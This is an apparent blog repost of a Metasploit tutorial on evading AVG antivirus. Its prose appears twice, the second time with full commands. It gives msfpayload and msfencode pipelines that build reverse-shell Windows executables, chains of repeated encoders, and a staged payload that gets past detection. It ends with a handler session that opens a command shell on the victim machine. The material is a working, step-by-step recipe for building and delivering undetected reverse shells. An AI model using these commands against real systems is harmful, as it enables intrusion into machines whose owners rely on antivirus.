As we have seen, the Metasploit binary payloads work great. However, there is a bit of a complication.
Most Windows based systems currently run some form of anti-virus protection due to the widespread pervasiveness of malicious software targeting the platform. Let's make our example a little bit more real-world, and install the free version of AVG on the system and see what happens.
Right away, our payload gets detected. Let's see if there is anything we can do to prevent this from being discovered by AVG.
We will encode our produced executable in an attempt to make it harder to discover. We have used encoding before when exploiting software in avoiding bad characters so let's see if we can make use of it here. We will use the command line msfencode program. Lets look at some of the options by running msfencode with the '-h' switch.
Let's see which encoders are available to us by running 'msfencode -l'.
Excellent. We can see our options and some various encoders we can make use of. Let's use the raw output of msfpayload, and pipe that as input to msfencode using the "shikata ga nai encoder" (translates to "it can't be helped" or "nothing can be done about it"). From there, we'll output a windows binary.
Perfect! Let's now transfer the binary to another system and see what happens. And...
Well, that's not good. It is still being discovered by AVG. Well, we can't let AVG win, can we? Let's get a little crazy with it, and use three different encoders, two of which we will tell it to run through 10 times each, for a total of 21 encodes. This is about as much encoding as we can do and still have a working binary. AVG will never get past this!
Ok, we will copy over the binary, run it aaaannnnd....
We failed! It still is discovered by AVG! How will we ever get past this? Well, it turns out there is a good reason for this. Metasploit supports two different types of payloads. The first sort, like 'window/shell_reverse_tcp', contains all the code needed for the payload. The other, like 'windows/shell/reverse_tcp' works a bit differently. 'windows/shell/reverse_tcp' contains just enough code to open a network connection, then stage the loading of the rest of the code required by the exploit from the attackers machine. So, in the case of 'windows/shell/reverse_tcp', a connection is made back to the attacker system, the rest of the payload is loaded into memory, and then a shell is provided.
So what does this mean for antivirus? Well, most antivirus works on signature-based technology. The code utilized by 'windows/shell_reverse_tcp' hits those signatures and is tagged by AVG right away. On the other hand, the staged payload, 'windows/shell/reverse_tcp' does not contain the signature that AVG is looking for, and so is therefore missed. Plus, by containing less code, there is less for the anti-virus program to work with, as if the signature is made too generic, the false positive rate will go up and frustrate users by triggering on non-malicious software.
With that in mind, let's generate a 'windows/shell/reverse_tcp' staged payload as an excutable.
Ok, now we copy it over to the remote system and run it, then see what happens.
Success! Antivirus did not trigger on this new staged payload. We have successfully evaded antivirus on the system, and delivered our payload.
©2012, copyright BLACK BURN
Most Windows based systems currently run some form of anti-virus protection due to the widespread pervasiveness of malicious software targeting the platform. Let's make our example a little bit more real-world, and install the free version of AVG on the system and see what happens.
Right away, our payload gets detected. Let's see if there is anything we can do to prevent this from being discovered by AVG.
We will encode our produced executable in an attempt to make it harder to discover. We have used encoding before when exploiting software in avoiding bad characters so let's see if we can make use of it here. We will use the command line msfencode program. Lets look at some of the options by running msfencode with the '-h' switch.
Code:
root@bt:~# msfencode -h
Usage: /opt/framework/msf3/msfencode
OPTIONS:
-a The architecture to encode as
-b The list of characters to avoid: '\x00\xff'
-c The number of times to encode the data
-d Specify the directory in which to look for EXE templates
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-p The platform to encode for
-s The maximum size of the encoded data
-t The output format: raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war
-v Increase verbosity
-x Specify an alternate executable template
Code:
root@bt:~# msfencode -l
Framework Encoders
==================
Name Rank Description
---- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
Code:
root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -t exe > /tmp/2.exe [*] x86/shikata_ga_nai succeeded with size 315 (iteration=1) root@bt:~# file /tmp/2.exe /tmp/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Perfect! Let's now transfer the binary to another system and see what happens. And...
Well, that's not good. It is still being discovered by AVG. Well, we can't let AVG win, can we? Let's get a little crazy with it, and use three different encoders, two of which we will tell it to run through 10 times each, for a total of 21 encodes. This is about as much encoding as we can do and still have a working binary. AVG will never get past this!
Code:
root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -t raw -c 10 | msfencode -e x86/call4_dword_xor -t raw -c 10 | msfencode -e x86/countdown -t exe > /tmp/6.exe [*] x86/shikata_ga_nai succeeded with size 315 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 342 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 369 (iteration=3) [*] x86/shikata_ga_nai succeeded with size 396 (iteration=4) [*] x86/shikata_ga_nai succeeded with size 423 (iteration=5) [*] x86/shikata_ga_nai succeeded with size 450 (iteration=6) [*] x86/shikata_ga_nai succeeded with size 477 (iteration=7) [*] x86/shikata_ga_nai succeeded with size 504 (iteration=8) [*] x86/shikata_ga_nai succeeded with size 531 (iteration=9) [*] x86/shikata_ga_nai succeeded with size 558 (iteration=10) [*] x86/call4_dword_xor succeeded with size 586 (iteration=1) [*] x86/call4_dword_xor succeeded with size 614 (iteration=2) [*] x86/call4_dword_xor succeeded with size 642 (iteration=3) [*] x86/call4_dword_xor succeeded with size 670 (iteration=4) [*] x86/call4_dword_xor succeeded with size 698 (iteration=5) [*] x86/call4_dword_xor succeeded with size 726 (iteration=6) [*] x86/call4_dword_xor succeeded with size 754 (iteration=7) [*] x86/call4_dword_xor succeeded with size 782 (iteration=8) [*] x86/call4_dword_xor succeeded with size 810 (iteration=9) [*] x86/call4_dword_xor succeeded with size 838 (iteration=10) [*] x86/countdown succeeded with size 856 (iteration=1) root@bt:~# file /tmp/6.exe /tmp/6.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Ok, we will copy over the binary, run it aaaannnnd....
We failed! It still is discovered by AVG! How will we ever get past this? Well, it turns out there is a good reason for this. Metasploit supports two different types of payloads. The first sort, like 'window/shell_reverse_tcp', contains all the code needed for the payload. The other, like 'windows/shell/reverse_tcp' works a bit differently. 'windows/shell/reverse_tcp' contains just enough code to open a network connection, then stage the loading of the rest of the code required by the exploit from the attackers machine. So, in the case of 'windows/shell/reverse_tcp', a connection is made back to the attacker system, the rest of the payload is loaded into memory, and then a shell is provided.
So what does this mean for antivirus? Well, most antivirus works on signature-based technology. The code utilized by 'windows/shell_reverse_tcp' hits those signatures and is tagged by AVG right away. On the other hand, the staged payload, 'windows/shell/reverse_tcp' does not contain the signature that AVG is looking for, and so is therefore missed. Plus, by containing less code, there is less for the anti-virus program to work with, as if the signature is made too generic, the false positive rate will go up and frustrate users by triggering on non-malicious software.
With that in mind, let's generate a 'windows/shell/reverse_tcp' staged payload as an excutable.
Code:
root@bt:~# msfpayload windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/7.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/shell/reverse_tcp Length: 278 Options: LHOST=172.16.104.130,LPORT=31337 root@bt:~# file /tmp/7.exe /tmp/7.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Ok, now we copy it over to the remote system and run it, then see what happens.
Code:
root@bt:~# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 E[*] Please wait while we load the module tree...[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...[*] Sending stage (474 bytes)[*] Command shell session 1 opened (172.16.104.130:31337 -> 172.16.104.128:1548) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Jim\My Documents>dir dir Volume in drive C has no label. Volume Serial Number is E423-E726 Directory of C:\Documents and Settings\Jim\My Documents 05/27/2009 09:56 PM . 05/27/2009 09:56 PM .. 05/25/2009 09:36 PM 9,728 7.exe 05/25/2009 11:46 PM Downloads 10/29/2008 05:55 PM My Music 10/29/2008 05:55 PM My Pictures 1 File(s) 9,728 bytes 5 Dir(s) 38,655,614,976 bytes free C:\Documents and Settings\Jim\My Documents>
Success! Antivirus did not trigger on this new staged payload. We have successfully evaded antivirus on the system, and delivered our payload.
©2012, copyright BLACK BURN
0 comments:
Post a Comment